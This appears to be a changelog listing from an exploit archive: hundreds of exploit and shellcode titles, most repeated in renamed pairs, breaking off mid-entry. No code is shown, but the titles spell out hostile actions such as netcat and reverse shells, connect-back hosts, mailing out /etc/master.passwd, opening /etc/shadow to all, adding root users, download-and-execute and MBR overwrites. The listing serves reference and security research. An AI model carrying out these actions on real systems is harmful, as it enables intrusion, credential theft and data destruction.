
23 new exploits Microsoft Windows 7 SP1 x86 - GDI Palette Objects Local Privilege Escalation (MS17-017) Microsoft Windows 7 SP1 x86 - GDI Palette Objects Local Privilege Escalation (MS17-017) Disk Pulse Enterprise 9.9.16 - 'Import Command' Buffer Overflow Disk Savvy Enterprise 9.9.14 - 'Import Command' Buffer Overflow VX Search Enterprise 9.9.12 - 'Import Command' Buffer Overflow Microsoft Windows - Escalate UAC Protection Bypass (Via COM Handler Hijack) (Metasploit) IBM OpenAdmin Tool - SOAP welcomeServer PHP Code Execution (Metasploit) BSD - Passive Connection Shellcode (124 bytes) BSD - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (124 bytes) BSD/x86 - setuid(0) then execve /bin/sh Shellcode (30 bytes) BSD/x86 - Bind Shell 31337/TCP + setuid(0) Shellcode (94 bytes) BSD/x86 - execve /bin/sh multiplatform Shellcode (27 bytes) BSD/x86 - execve /bin/sh setuid (0) Shellcode (29 bytes) BSD/x86 - Bind Shell 31337/TCP Shellcode (83 bytes) BSD/x86 - Bind Random Port Shellcode (143 bytes) BSD/x86 - setuid(0) + execve /bin/sh Shellcode (30 bytes) BSD/x86 - Bind TCP Shell (31337/TCP) + setuid(0) Shellcode (94 bytes) BSD/x86 - execve /bin/sh Shellcode (27 bytes) BSD/x86 - execve /bin/sh + setuid(0) Shellcode (29 bytes) BSD/x86 - Bind TCP Shell (31337/TCP) Shellcode (83 bytes) BSD/x86 - Bind TCP Shell (Random Port) Shellcode (143 bytes) BSD/x86 - execve /bin/sh Crypt Shellcode (49 bytes) BSD/x86 - execve /bin/sh ENCRYPT* Shellcode (57 bytes) BSD/x86 - Connect torootteam.host.sk:2222 Shellcode (93 bytes) BSD/x86 - cat /etc/master.passwd | mail [email] Shellcode (92 bytes) BSD/x86 - execve /bin/sh Encoded Shellcode (49 bytes) BSD/x86 - execve /bin/sh Encoded Shellcode (57 bytes) BSD/x86 - Reverse TCP Shell (torootteam.host.sk:2222/TCP) Shellcode (93 bytes) BSD/x86 - execve /bin/cat /etc/master.passwd | mail [email] Shellcode (92 bytes) BSDi/x86 - execve /bin/sh toupper evasion Shellcode (97 bytes) FreeBSD i386 & AMD64 - Execve /bin/sh Shellcode (Anti-Debugging) (140 bytes) BSDi/x86 - execve /bin/sh ToUpper Encoded Shellcode (97 bytes) FreeBSD x86 / x64 - execve /bin/sh Anti-Debugging Shellcode (140 bytes) FreeBSD/x86 - connect back.send.exit /etc/passwd Shellcode (112 bytes) FreeBSD/x86 - kill all processes Shellcode (12 bytes) FreeBSD/x86 - rev connect + recv + jmp + return results Shellcode (90 bytes) FreeBSD/x86 - /bin/cat /etc/master.passwd Null-Free Shellcode (65 bytes) FreeBSD/x86 - Reverse /bin/sh Shell (127.0.0.1:8000) Shellcode (89 bytes) FreeBSD/x86 - setuid(0); execve(ipf -Fa); Shellcode (57 bytes) FreeBSD/x86 - /bin/sh Encrypted Shellcode (48 bytes) FreeBSD/x86 - Reverse TCP cat /etc/passwd (192.168.1.33:8000/TCP) Shellcode (112 bytes) FreeBSD/x86 - Kill All Processes Shellcode (12 bytes) FreeBSD/x86 - ConnectBack (172.17.0.9:8000/TCP) + Receive Shellcode + JMP + Return Results Null-Free Shellcode (90 bytes) FreeBSD/x86 - execve /bin/cat /etc/master.passwd Null-Free Shellcode (65 bytes) FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:8000) Null-Free Shellcode (89 bytes) FreeBSD/x86 - setuid(0); + execve(ipf -Fa); Shellcode (57 bytes) FreeBSD/x86 - execve /bin/sh Encoded Shellcode (48 bytes) FreeBSD/x86 - execve /bin/sh Shellcode (2) (23 bytes) FreeBSD/x86 - execve /bin/sh Shellcode (23 bytes) FreeBSD/x86 - kldload /tmp/o.o Shellcode (74 bytes) FreeBSD/x86 - Load Kernel Module (/sbin/kldload /tmp/o.o) Shellcode (74 bytes) FreeBSD/x86 - Connect Port 31337 Shellcode (102 bytes) FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (102 bytes) Linux/x86 - Bind Shellcode (Generator) Windows XP SP1 - Bind Shellcode (Generator) (Generator) - /bin/sh Polymorphic With Printable ASCII Characters Shellcode Linux/x86 - cmd Null-Free Shellcode (Generator) (Generator) - Alphanumeric Shellcode (Encoder/Decoder) Linux/x86 - Bind TCP Shellcode (Generator) Windows XP SP1 - Bind TCP Shell Shellcode (Generator) Linux - execve /bin/sh Polymorphic With Printable ASCII Characters Shellcode (Generator) Linux/x86 - Command Null-Free Shellcode (Generator) Windows - Reverse TCP Shell (127.0.0.1:123/TCP) Alphanumeric Shellcode (Encoder/Decoder) (Generator) Win32 - Multi-Format Encoding Tool Shellcode (Generator) iOS - Version-independent Shellcode Cisco IOS - Connectback 21/TCP Shellcode Windows x86 - Multi-Format Encoding Tool Shellcode (Generator) iOS Version-independent - Null-Free Shellcode Cisco IOS - New TTY / Privilege Level To 15 / Reverse Virtual Terminal Shell (21/TCP) Shellcode Linux/x86-64 - Flush IPTables Rules Shellcode (84 bytes) Linux/x86-64 - Reverse TCP Semi-Stealth Shell Shellcode (88+ bytes) (Generator) Linux/MIPS (Linksys WRT54G/GL) - Bind 4919/TCP Shellcode (276 bytes) Linux/x86-64 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (84 bytes) Linux/x86-64 - Reverse TCP Semi-Stealth /bin/bash Shell Shellcode (88+ bytes) (Generator) Linux/MIPS (Linksys WRT54G/GL) - Bind TCP /bin/sh Shell (4919/TCP) Shellcode (276 bytes) Linux/PPC - connect back (192.168.1.1:31337) execve /bin/sh Shellcode (240 bytes) Linux/PPC - Reverse TCP /bin/sh Shell (192.168.1.1:31337/TCP) Shellcode (240 bytes) Linux/SPARC - Bind 8975/TCP Shellcode (284 bytes) Linux/SPARC - Bind TCP Shell (8975/TCP) Null-Free Shellcode (284 bytes) Linux/x86 - killall5 polymorphic Shellcode (61 bytes) Linux/x86 - /bin/sh Polymorphic Shellcode (48 bytes) Linux/x86 - Bind 4444/TCP Shellcode (XOR Encoded) (152 bytes) Linux/x86 - reboot() polymorphic Shellcode (57 bytes) Linux/x86 - chmod(_/etc/shadow__666) Polymorphic Shellcode (54 bytes) Linux/x86 - setreuid(geteuid()_geteuid())_execve(_/bin/sh__0_0) Shellcode (34 bytes) Linux/x86 - Bind 8000/TCP + Execve Iptables -F Shellcode (176 bytes) Linux/x86 - Bind 8000/TCP + Add Root User Shellcode (225+ bytes) Linux/x86 - Bind 8000/TCP ASM Code Linux Shellcode (179 bytes) Linux/x86 - killall5 Polymorphic Shellcode (61 bytes) Linux/x86 - execve /bin/sh Polymorphic Shellcode (48 bytes) Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) XOR Encoded Shellcode (152 bytes) Linux/x86 - reboot() Polymorphic Shellcode (57 bytes) Linux/x86 - chmod 666 /etc/shadow Polymorphic Shellcode (54 bytes) Linux/x86 - setreuid(geteuid()_ geteuid()) + execve(_/bin/sh__0_0) Shellcode (34 bytes) Linux/x86 - Bind TCP Shell (8000/TCP) + Flush IPTables Rules (/sbin/iptables -F) Shellcode (176 bytes) Linux/x86 - Bind TCP Shell (8000/TCP) + Add Root User Shellcode (225+ bytes) Linux/x86 - Bind TCP /bin/sh Shell (8000/TCP) Shellcode (179 bytes) Linux/x86 - Serial port shell binding + busybox Launching Shellcode (82 bytes) Linux/x86 - Serial Port Shell Binding (/dev/ttyS0) + busybox Launching Null-Free Shellcode (82 bytes) Linux/x86 - chmod(_/etc/shadow__666) + exit(0) Shellcode (30 bytes) Linux/x86 - chmod 666 /etc/shadow + exit(0) Shellcode (30 bytes) Linux/x86 - Shellcode Obfuscator (Generator) Linux/x86 - Shellcode Obfuscator Null-Free (Generator) Linux/x86 - setuid(0) + execve(/bin/sh_0_0) Shellcode (28 bytes) Linux/x86 - setresuid(0_0_0) /bin/sh Shellcode (35 bytes) Linux/x86 - setuid(0) + execve(/bin/sh_0_0) Null-Free Shellcode (28 bytes) Linux/x86 - setresuid(0_0_0) + /bin/sh Shellcode (35 bytes) Linux/x86 - Reverse TCP /etc/shadow (8192/TCP) Shellcode (155 bytes) Linux/x86 - Reverse TCP cat /etc/shadow (8192/TCP) Shellcode (155 bytes) Linux/x86 - setuid(0) . setgid(0) . aslr_off Shellcode (79 bytes) Linux/x86 - setuid(0) + setgid(0) + aslr_off (Disable ASLR Security) Shellcode (79 bytes) Linux/x86 - /sbin/iptables -F Shellcode (40 bytes) Linux/x86 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (40 bytes) Linux/x86 - /sbin/ipchains -F Shellcode (40 bytes) Linux/x86 - Flush IPChains Rules (/sbin/ipchains -F) Shellcode (40 bytes) Linux/x86 - HTTP/1.x GET_ Downloads + execve() Shellcode (111+ bytes) Linux/x86 - executes command after setreuid Shellcode (49+ bytes) Linux/x86 - HTTP/1.x GET + Downloads + execve() Null-Free Shellcode (111+ bytes) Linux/x86 - setreuid + executes command (49+ bytes) Linux/x86 - Bind 31337/TCP + setuid Shellcode (96 bytes) Linux/x86 - Bind 2707/TCP Shellcode (84 bytes) Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) + setuid Shellcode (96 bytes) Linux/x86 - Bind TCP Shell (2707/TCP) Shellcode (84 bytes) Linux/x86 - Bind 31337/TCP SET_PORT() Shellcode (100 bytes) Linux/x86 - Reverse TCP Shell (192.168.13.22:31337) Shellcode (82 bytes) (Generator) Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) Shellcode (100 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (192.168.13.22:31337) Shellcode (82 bytes) (Generator) Linux/x86 - Reverse TCP XOR Encoded Shell (127.0.0.1:80/TCP) Shellcode (371 bytes) Linux/x86 - Reverse TCP Shell (127.0.0.1:80/TCP) XOR Encoded Shellcode (371 bytes) Linux/x86 - /tmp/swr to SWAP restore Shellcode (109 bytes) Linux/x86 - Read SWAP write to /tmp/swr Shellcode (109 bytes) Linux/x86 - Bind TCP Password (gotfault) Shell (64713/TCP) Shellcode (166 bytes) Linux/x86 - Bind 64713/TCP Shellcode (86 bytes) Linux/x86 - Bind TCP /bin/sh Password (gotfault) Shell (64713/TCP) Shellcode (166 bytes) Linux/x86 - Bind TCP /bin/sh Shell (64713/TCP) Shellcode (86 bytes) Linux/x86 - setreuid(0_0) execve(_/bin/sh__ [_/bin/sh__ NULL]) Shellcode (33 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/sh__ [_/bin/sh__ NULL]) Shellcode (33 bytes) Linux/x86 - TCP Proxy Shellcode (236 bytes) Linux/x86 - TCP Proxy Null-Free Shellcode (236 bytes) Linux/x86 - execve /bin/sh xored for Intel x86 CPUID Shellcode (41 bytes) Linux/x86 - execve /bin/sh Shellcode (+1 Encoded) (39 bytes) Linux/x86 - Add User (xtz) To /etc/passwd Shellcode (59 bytes) Linux/x86 - anti-debug trick (INT 3h trap) + execve /bin/sh Shellcode (39 bytes) Linux/x86 - Bind /bin/sh to 31337/TCP Shellcode (80 bytes) Linux/x86 - Bind /bin/sh to 31337/TCP + fork() Shellcode (98 bytes) Linux/x86 (Intel x86 CPUID) - execve /bin/sh XORED Encoded Shellcode (41 bytes) Linux/x86 - execve /bin/sh Shellcode +1 Encoded (39 bytes) Linux/x86 - Add Root User (xtz) To /etc/passwd Shellcode (59 bytes) Linux/x86 - Anti-Debug Trick (INT 3h trap) + execve /bin/sh Shellcode (39 bytes) Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) Shellcode (80 bytes) Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) + fork() Shellcode (98 bytes) Linux/x86 - chmod(/etc/shadow_ 0666) + exit() Shellcode (32 bytes) Linux/x86 - chmod 0666 /etc/shadow + exit() Shellcode (32 bytes) Linux/x86 - Reverse TCP Shell Shellcode (90 bytes) (Generator) Linux/x86 - Reverse TCP Shell Shellcode (90 bytes) (Generator) Linux/x86 - read(0_buf_2541); chmod(buf_4755); Shellcode (23 bytes) Linux/x86 - write(0__Hello core!\n__12); (with optional 7 byte exit) Shellcode (36 bytes) Linux/x86 - snoop /dev/dsp Shellcode (172 bytes) Linux/x86 - /bin/sh Standard Opcode Array Payload Shellcode (21 bytes) Linux/x86 - read(0_buf_2541); + chmod(buf_4755); Shellcode (23 bytes) Linux/x86 - write(0__Hello core!\n__12); Exit Shellcode (36/43 bytes) Linux/x86 - snoop /dev/dsp Null-Free Shellcode (172 bytes) Linux/x86 - execve /bin/sh Standard Opcode Array Payload Shellcode (21 bytes) Linux/x86 - /bin/sh sysenter Opcode Array Payload Shellcode (23 bytes) Linux/x86 - /bin/sh sysenter Opcode Array Payload Shellcode (27 bytes) Linux/x86 - /bin/sh sysenter Opcode Array Payload Shellcode (45 bytes) Linux/x86 - chroot + standart Shellcode (66 bytes) Linux/x86 - execve /bin/sh sysenter Opcode Array Payload Shellcode (23 bytes) Linux/x86 - execve /bin/sh sysenter Opcode Array Payload Shellcode (27 bytes) Linux/x86 - execve /bin/sh sysenter Opcode Array Payload Shellcode (45 bytes) Linux/x86 - Break chroot (../ 20x Loop) + execve /bin/sh Shellcode (66 bytes) Linux/x86 - setreuid/execve Shellcode (31 bytes) Linux/x86 - Alphanumeric Shellcode (64 bytes) Linux/x86 - Alphanumeric using IMUL Method Shellcode (88 bytes) Linux/x86 - setreuid + execve Shellcode (31 bytes) Linux/x86 - Alphanumeric Encoded Shellcode (64 bytes) Linux/x86 - Alphanumeric Encoder (IMUL Method) Shellcode (88 bytes) Linux/x86 - Bind 5074/TCP (ToUpper Encoded) Shellcode (226 bytes) Linux/x86 - Add User (t00r) Anti-IDS Shellcode (116 bytes) Linux/x86 - Bind TCP Shell (5074/TCP) ToUpper Encoded Shellcode (226 bytes) Linux/x86 - Add Root User (t00r) Anti-IDS Shellcode (116 bytes) Linux/x86 - iptables -F Shellcode (45 bytes) Linux/x86 - iptables -F Shellcode (58 bytes) Linux/x86 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (45 bytes) Linux/x86 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (58 bytes) Linux/x86 - connect Shellcode (120 bytes) Linux/x86 - Reverse TCP /bin/sh Shell Shellcode (120 bytes) Linux/x86 - cp /bin/sh /tmp/katy ; chmod 4555 katy Shellcode (126 bytes) Linux/x86 - cp /bin/sh /tmp/katy ; + chmod 4555 katy Shellcode (126 bytes) Linux/x86 - execve /bin/sh setreuid(12_12) Shellcode (50 bytes) Linux/x86 - Bind 5074/TCP Shellcode (92 bytes) Linux/x86 - Bind 5074/TCP + fork() Shellcode (130 bytes) Linux/x86 - Add User (t00r) Shellcode (82 bytes) Linux/x86 - Add User Shellcode (104 bytes) Linux/x86 - break chroot Shellcode (34 bytes) Linux/x86 - break chroot Shellcode (46 bytes) Linux/x86 - break chroot execve /bin/sh Shellcode (80 bytes) Linux/x86 - execve /bin/sh + setreuid(12_12) Shellcode (50 bytes) Linux/x86 - Bind TCP Shell (5074/TCP) Shellcode (92 bytes) Linux/x86 - Bind TCP Shell (5074/TCP) + fork() Shellcode (130 bytes) Linux/x86 - Add Root User (t00r) Shellcode (82 bytes) Linux/x86 - Add Root User Shellcode (104 bytes) Linux/x86 - Break chroot (../ 10x Loop) Shellcode (34 bytes) Linux/x86 - Break chroot (../ 10x Loop) Shellcode (46 bytes) Linux/x86 - Break chroot + execve /bin/sh Shellcode (80 bytes) Linux/x86 - execve /bin/sh (XOR Encoded) Shellcode (55 bytes) Linux/x86 - execve /bin/sh XOR Encoded Shellcode (55 bytes) Linux/x86 - chroot()/execve() code Shellcode (80 bytes) Linux/x86 - Add User (z) Shellcode (70 bytes) Linux/x86 - break chroot setuid(0) + /bin/sh Shellcode (132 bytes) Linux/x86-64 - Bind 4444/TCP Shellcode (132 bytes) Linux/x86 - Add Root User (z) Shellcode (70 bytes) Linux/x86 - setreuid(0_ 0) + Break chroot (mkdir/chdir/chroot _../_) + execve /bin/sh Shellcode (132 bytes) Linux/x86-64 - Bind TCP Shell (4444/TCP) Shellcode (132 bytes) Linux PPC & x86 - execve(_/bin/sh__{_/bin/sh__NULL}_NULL) Shellcode (99 bytes) OSX PPC & x86 - execve(_/bin/sh__{_/bin/sh__NULL}_NULL) Shellcode (121 bytes) Linux/x86 & Unix/SPARC & IRIX/MIPS - execve /bin/sh Shellcode (141 bytes) Linux/x86 & Unix/SPARC - execve /bin/sh Shellcode (80 bytes) Linux/x86 & bsd/x86 - execve /bin/sh Shellcode (38 bytes) Linux/PPC / Linux/x86 - execve(_/bin/sh__{_/bin/sh__NULL}_NULL) Shellcode (99 bytes) OSX/PPC / OSX/x86 - execve(_/bin/sh__{_/bin/sh__NULL}_NULL) Shellcode (121 bytes) Linux/x86 / Unix/SPARC / IRIX/MIPS - execve /bin/sh Shellcode (141 bytes) Linux/x86 / Unix/SPARC - execve /bin/sh Shellcode (80 bytes) BSD/x86 / Linux/x86 - execve /bin/sh Shellcode (38 bytes) NetBSD/x86 - setreuid(0_ 0); execve(_/bin//sh__ ..._ NULL); Shellcode (29 bytes) NetBSD/x86 - setreuid(0_ 0); execve(_/bin//sh__ ..._ NULL); Shellcode (30 bytes) NetBSD/x86 - setreuid(0_ 0); + execve(_/bin//sh__ ..._ NULL); Shellcode (29 bytes) NetBSD/x86 - setreuid(0_ 0); + execve(_/bin//sh__ ..._ NULL); Shellcode (30 bytes) OpenBSD/x86 - Bind 6969/TCP Shellcode (148 bytes) OpenBSD/x86 - Add user _w00w00_ Shellcode (112 bytes) OSX/PPC - sync()_ reboot() Shellcode (32 bytes) OpenBSD/x86 - Bind TCP Shell (6969/TCP) Shellcode (148 bytes) OpenBSD/x86 - Add Root User (w00w00) Shellcode (112 bytes) OSX/PPC - sync() + reboot() Shellcode (32 bytes) OSX/PPC - Add user _r00t_ Shellcode (219 bytes) OSX/PPC - Add Root User (r00t) Shellcode (219 bytes) Solaris/SPARC - executes command after setreuid Shellcode (92+ bytes) Solaris/SPARC - Reverse TCP XNOR Encoded Shell (44434/TCP) Shellcode (600 bytes) (Generator) Solaris/SPARC - setreuid/execve Shellcode (56 bytes) Solaris/SPARC - Bind 6666/TCP Shellcode (240 bytes) Solaris/SPARC - setreuid + executes command Shellcode (92+ bytes) Solaris/SPARC - Reverse TCP Shell (44434/TCP) XNOR Encoded Shellcode (600 bytes) (Generator) Solaris/SPARC - setreuid + execve Shellcode (56 bytes) Solaris/SPARC - Bind TCP Shell (6666/TCP) Shellcode (240 bytes) Solaris/SPARC - Bind 6789/TCP Shellcode (228 bytes) Solaris/SPARC - Reverse TCP Shell (192.168.1.4:5678/TCP) Shellcode (204 bytes) Solaris/SPARC - Bind Shellcode (240 bytes) Solaris/x86 - Bind TCP Shellcode (Generator) Solaris/SPARC - Bind TCP /bin/sh (6789/TCP) Shellcode (228 bytes) Solaris/SPARC - Reverse TCP /bin/sh Shell (192.168.1.4:5678/TCP) Shellcode (204 bytes) Solaris/SPARC - Bind TCP Shell Shellcode (240 bytes) Solaris/x86 - Bind TCP Shellcode (Generator) Windows 5.0 < 7.0 x86 - Bind Shell 28876/TCP Null-Free Shellcode Win32/XP SP2 (EN) - cmd.exe Shellcode (23 bytes) Win32 - SEH Omelet Shellcode Win32 - Bind 23/TCP Winexec Telnet Shellcode (111 bytes) Win32 - PEB!NtGlobalFlags Shellcode (14 bytes) Win32 XP SP2 (FR) - Sellcode cmd.exe Shellcode (32 bytes) Win32/XP SP2 - cmd.exe Shellcode (57 bytes) Win32 - PEB 'Kernel32.dll' ImageBase Finder Alphanumeric Shellcode (67 bytes) Win32 - PEB 'Kernel32.dll' ImageBase Finder (ASCII Printable) Shellcode (49 bytes) Win32 - ConnectBack + Download A File + Save + Execute Shellcode Win32 - Download File + Execute Shellcode (Browsers Edition) (Generator) (275+ bytes) Win32 - Download File + Execute Shellcode (192 bytes) Win32 - Download File + Execute Shellcode (124 bytes) Win32/NT/XP - IsDebuggerPresent Shellcode (39 bytes) Win32 SP1/SP2 - Beep Shellcode (35 bytes) Win32/XP SP2 - Pop up message box Shellcode (110 bytes) Win32 - WinExec() Command Parameter Shellcode (104+ bytes) Win32 - Download File + Execute Shellcode (226+ bytes) Windows NT/2000/XP (Russian) - Add User 'slim' Shellcode (318 bytes) Windows 5.0 < 7.0 x86 - Bind TCP Shell (28876/TCP) Null-Free Shellcode Windows XP SP2 x86 (English) - cmd.exe Shellcode (23 bytes) Windows x86 - SEH Omelet Shellcode Windows x86 - Add Administrator User (GAZZA/123456) + Start Telnet Service Shellcode (111 bytes) Windows x86 - PEB!NtGlobalFlags Shellcode (14 bytes) Windows XP SP2 x86 (French) - Sellcode cmd.exe Shellcode (32 bytes) Windows XP SP2 x86 - cmd.exe Shellcode (57 bytes) Windows x86 - PEB _Kernel32.dll_ ImageBase Finder Alphanumeric Shellcode (67 bytes) Windows x86 - PEB _Kernel32.dll_ ImageBase Finder (ASCII Printable) Shellcode (49 bytes) Windows x86 - ConnectBack + Download A File + Save + Execute Shellcode Windows x86 - Download File + Execute Shellcode (Browsers Edition) (275+ bytes) (Generator) Windows x86 - Download File + Execute Shellcode (192 bytes) Windows x86 - Download File + Execute Shellcode (124 bytes) Windows NT/XP x86 - IsDebuggerPresent Shellcode (39 bytes) Windows SP1/SP2 x86 - Beep Shellcode (35 bytes) Windows XP SP2 x86 - Pop up message box Shellcode (110 bytes) Windows x86 - WinExec() Command Parameter Shellcode (104+ bytes) Windows x86 - Download File + Execute Shellcode (226+ bytes) Windows NT/2000/XP (Russian) - Add Administartor User (slim/shady) Shellcode (318 bytes) Windows XP/2000/2003 - Reverse TCP Shell (127.0.0.1:53) Shellcode (275 bytes) (Generator) Windows XP/2000/2003 - Reverse TCP Shell (127.0.0.1:53) Shellcode (275 bytes) (Generator) Windows XP - Download File + Execute Shellcode Windows XP SP1 - Bind 58821/TCP Shellcode (116 bytes) Windows XP - Download File + Execute Null-Free Shellcode Windows XP SP1 - Bind TCP Shell (58821/TCP) Shellcode (116 bytes) Win64 - (URLDownloadToFileA) Download + Execute Shellcode (218+ bytes) Windows x64 - (URLDownloadToFileA) Download + Execute Shellcode (218+ bytes) Linux/x86 - setuid(0) + cat /etc/shadow Shellcode (49 bytes) Linux/x86 - chmod(/etc/shadow_ 0666) + exit() Shellcode (33 bytes) Linux/x86 - setuid(0) + /bin/cat /etc/shadow Shellcode (49 bytes) Linux/x86 - chmod 0666 /etc/shadow + exit() Shellcode (33 bytes) Linux/x86 - overwrite MBR on /dev/sda with _LOL!' Shellcode (43 bytes) Win32 XP SP3 - ShellExecuteA Shellcode Linux/x86 - Pverwrite MBR on /dev/sda with _LOL!' Shellcode (43 bytes) Windows XP SP3 x86 - ShellExecuteA Shellcode Win32 XP SP3 - Add Firewall Rule to Allow 445/TCP Traffic Shellcode FreeBSD/x86 - Bind 1337/TCP Shellcode (167 bytes) Win32/XP SP2 - calc.exe Shellcode (45 bytes) Windows XP SP3 x86 - Add Firewall Rule to Allow 445/TCP Traffic Shellcode FreeBSD/x86 - Bind TCP /bin/sh Shell (1337/TCP) Shellcode (167 bytes) Windows XP SP2 x86 - calc.exe Shellcode (45 bytes) Win32/XP SP2 (EN + AR) - cmd.exe Shellcode (23 bytes) Windows XP SP2 x86 (English / Arabic) - cmd.exe Shellcode (23 bytes) Linux/x86 - break chroot Shellcode (79 bytes) Linux/x86 - setuid + Break chroot (mkdir/chdir/chroot _..._) + execve /bin/sh Shellcode (79 bytes) Linux/x86 - Append '/etc/passwd' + exit() Shellcode (107 bytes) Linux/x86 - Add Root User (toor) To /etc/passwd + exit() Shellcode (107 bytes) Win32 XP SP2 (FR) - calc Shellcode (19 bytes) Windows XP SP2 x86 (French) - calc Shellcode (19 bytes) Linux/x86 - bin/cat /etc/passwd Shellcode (43 bytes) Win32 XP SP3 (English) - cmd.exe Shellcode (26 bytes) Win32 XP SP2 (Turkish) - cmd.exe Shellcode (26 bytes) Linux/x86 - /bin/sh Shellcode (8 bytes) Linux/x86 - execve /bin/cat /etc/passwd Shellcode (43 bytes) Windows XP SP3 x86 (English) - cmd.exe Shellcode (26 bytes) Windows XP SP2 x86 (Turkish) - cmd.exe Shellcode (26 bytes) Linux/x86 - execve /bin/sh Shellcode (8 bytes) Linux/x86 - disabled modsecurity Shellcode (64 bytes) Win32 - JITed Stage-0 Shellcode Win32 - JITed exec notepad Shellcode Windows XP Professional SP2 (ITA) - calc.exe Shellcode (36 bytes) Win32 - Mini HardCode WinExec&ExitProcess Shellcode (16 bytes) Linux/x86 - Disabled modsecurity Shellcode (64 bytes) Windows x86 - JITed Stage-0 Shellcode Windows x86 - JITed exec notepad Shellcode Windows XP Professional SP2 (Italian) - calc.exe Shellcode (36 bytes) Windows XP SP2 x86 - write.exe + ExitProcess WinExec Shellcode (16 bytes) Win32/XP SP3 (RU) - WinExec+ExitProcess cmd Shellcode (12 bytes) Win32 - MessageBox Shellcode (Metasploit) Windows XP SP3 x86 (Russia) - cmd + ExitProcess WinExec Shellcode (12 bytes) Windows x86 - MessageBox Shellcode (Metasploit) Linux/x86 - Bind nc -lvve/bin/sh -p13377 Shellcode Linux/x86 - chmod(_/etc/shadow__ 0666) Shellcode (36 bytes) Linux/x86 - Bind Netcat Shell (13377/TCP) Shellcode Linux/x86 - chmod 0666 /etc/shadow Shellcode (36 bytes) Linux/x86 - chmod(_/etc/shadow__ 0777) Shellcode (33 bytes) Linux/x86 - chmod(_/etc/shadow__ 0777) Shellcode (29 bytes) Linux - write() + exit(0) Shellcode (Genearator With Customizable Text) Linux/x86 - chmod 0777 /etc/shadow Shellcode (33 bytes) Linux/x86 - chmod 0777 /etc/shadow Shellcode (29 bytes) Linux - write() + exit(0) Shellcode (Generator) Linux/x86 - Sends 'Phuck3d!' To All Terminals Shellcode (60 bytes) Linux/x86 - Sends _Phuck3d!_ To All Terminals Shellcode (60 bytes) Windows XP SP2 (FR) - Download File + Execute Shellcode Windows XP SP2 (French) - Download File + Execute Shellcode Linux/x86 - Disable randomize stack addresse Shellcode (106 bytes) Linux/x86 - Disable ASLR Security Shellcode Shellcode (106 bytes) Linux/x86 - setuid(0) + chmod(_/etc/shadow__ 0666) Polymorphic Shellcode (61 bytes) Linux/x86 - change mode 0777 of '/etc/shadow' with sys_chmod syscall Shellcode (39 bytes) Linux/x86 - setuid(0) + chmod 0666 /etc/shadow Polymorphic Shellcode (61 bytes) Linux/x86 - (sys_chmod syscall) chmod 0777 /etc/shadow Shellcode (39 bytes) Linux/x86 - change mode 0777 of '/etc/passwd' with sys_chmod syscall Shellcode (39 bytes) Linux/x86 - (sys_chmod syscall) chmod 0777 /etc/passwd Shellcode (39 bytes) Linux/x86 - Reverse Netcat Shell (8080/TCP) Shellcode (76 bytes) Linux/x86 - Reverse Netcat Shell (8080/TCP) Shellcode (76 bytes) Solaris/x86 - Sync() & reboot() + exit(0) Shellcode (48 bytes) Solaris/x86 - Sync() + reboot() + exit(0) Shellcode (48 bytes) Linux/x86 - Bind 31337/TCP + setreuid (0_0) Polymorphic Shellcode (131 bytes) Linux/x86-64 - setuid(0) + chmod (_/etc/passwd__ 0777) & exit(0) Shellcode (63 bytes) Linux/x86 - Bind TCP Shell (31337/TCP) + setreuid(0_0) Polymorphic Shellcode (131 bytes) Linux/x86-64 - setuid(0) + chmod 0777 /etc/passwd + exit(0) Shellcode (63 bytes) Windows XP SP3 (SPA) - URLDownloadToFileA + CreateProcessA + ExitProcess Shellcode (176+ bytes) Windows XP SP3 (Spanish) - URLDownloadToFileA + CreateProcessA + ExitProcess Shellcode (176+ bytes) Windows - WinExec cmd.exe + ExitProcess Shellcode (195 bytes) Windows - cmd.exe + ExitProcess WinExec Shellcode (195 bytes) Linux/x86 - /bin/sh Polymorphic Shellcode (116 bytes) Linux/ARM - chmod(_/etc/shadow__ 0777) polymorphic Shellcode (84 bytes) Linux/ARM - chmod(_/etc/shadow__ 0777) Shellcode (35 bytes) Linux/x86 - execve /bin/sh Polymorphic Shellcode (116 bytes) Linux/ARM - chmod 0777 /etc/shadow Polymorphic Shellcode (84 bytes) Linux/ARM - chmod 0777 /etc/shadow Shellcode (35 bytes) Linux/ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL); (XOR 88 encoded) Polymorphic Shellcode (78 bytes) Linux/x86 - Bind Shell 64533 Shellcode (97 bytes) Linux/ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL); XOR 88 Encoded Polymorphic Shellcode (78 bytes) Linux/x86 - Bind TCP /bin/sh Shell (64533/TCP) Shellcode (97 bytes) Linux - setreuid(0_0) execve(_/bin/sh__NULL_NULL) XOR Encoded Shellcode (62 bytes) Safari 4.0.5 - 5.0.0 (Windows XP/7) - JavaScript JITed exec calc (ASLR/DEP Bypass) Shellcode Linux - Bind 6778/TCP (XOR Encoded) Polymorphic Shellcode (125 bytes) Linux - Bind Shell (nc -lp 31337 -e /bin//sh) Polymorphic Shellcode (91 bytes) ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL) Polymorphic Shellcode (Generator) Linux - setreuid(0_0) + execve(_/bin/sh__NULL_NULL) XOR Encoded Shellcode (62 bytes) Safari 4.0.5 < 5.0.0 (Windows XP/7) - JavaScript JITed exec calc (ASLR/DEP Bypass) Null-Free Shellcode Linux - Bind TCP Shell (6778/TCP) XOR Encoded Polymorphic Shellcode (125 bytes) Linux - Bind Netcat Shell (31337/TCP) Polymorphic Shellcode (91 bytes) ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL) Polymorphic Shellcode (Generator) Win32 - Write-to-file Shellcode (278 bytes) Windows x86 - Write-to-file Null-Free Shellcode (278 bytes) Linux/x86 - Bind Shell Netcat 8080/TCP Shellcode (75 bytes) Linux/x86 - /bin/sh 